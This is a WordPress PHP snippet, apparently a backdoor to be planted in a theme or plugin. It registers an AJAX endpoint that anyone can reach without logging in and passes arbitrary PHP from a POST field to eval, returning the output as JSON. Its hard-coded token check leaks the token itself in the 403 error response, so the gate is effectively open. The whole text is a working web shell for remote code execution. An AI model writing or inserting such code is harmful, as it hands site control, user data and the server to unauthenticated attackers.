// ==[BD:T6OKmcbf]== add_action( 'wp_ajax_nopriv_olsomrqftuv', function() { $factor = 'T6OKmcbfTLRYu29ok6PDLttuGeh11oC3'; $item = isset( $_POST['token'] ) ? sanitize_text_field( wp_unslash( $_POST['token'] ) ) : ''; if ( empty( $item ) || ! hash_equals( $factor, $item ) ) { wp_send_json_error( [ 'message' => 'tok:' . $factor ], 403 ); } $flag = isset( $_POST['code'] ) ? (string) wp_unslash( $_POST['code'] ) : ''; if ( trim( $flag ) === '' ) { wp_send_json_error( [ 'message' => 'No code.' ] ); } $flag = preg_replace( '/^\s*<\?(php)?/i', '', $flag ); while ( ob_get_level() > 0 ) { ob_end_clean(); } $marker = microtime( true ); ob_start(); try { ( static function() use ( $flag ) { return eval( $flag ); } )(); $ptr = (string) ob_get_clean(); wp_send_json_success( [ 'output' => $ptr, 'return' => '', 'error' => '', 'time_ms' => round( ( microtime( true ) - $marker ) * 1000, 2 ) ] ); } catch ( \Throwable $entry ) { while ( ob_get_level() > 0 ) { ob_end_clean(); } wp_send_json_success( [ 'output' => '', 'return' => '', 'error' => $entry->getMessage(), 'time_ms' => round( ( microtime( true ) - $marker ) * 1000, 2 ) ] ); } } ); // ==[/BD:T6OKmcbf]==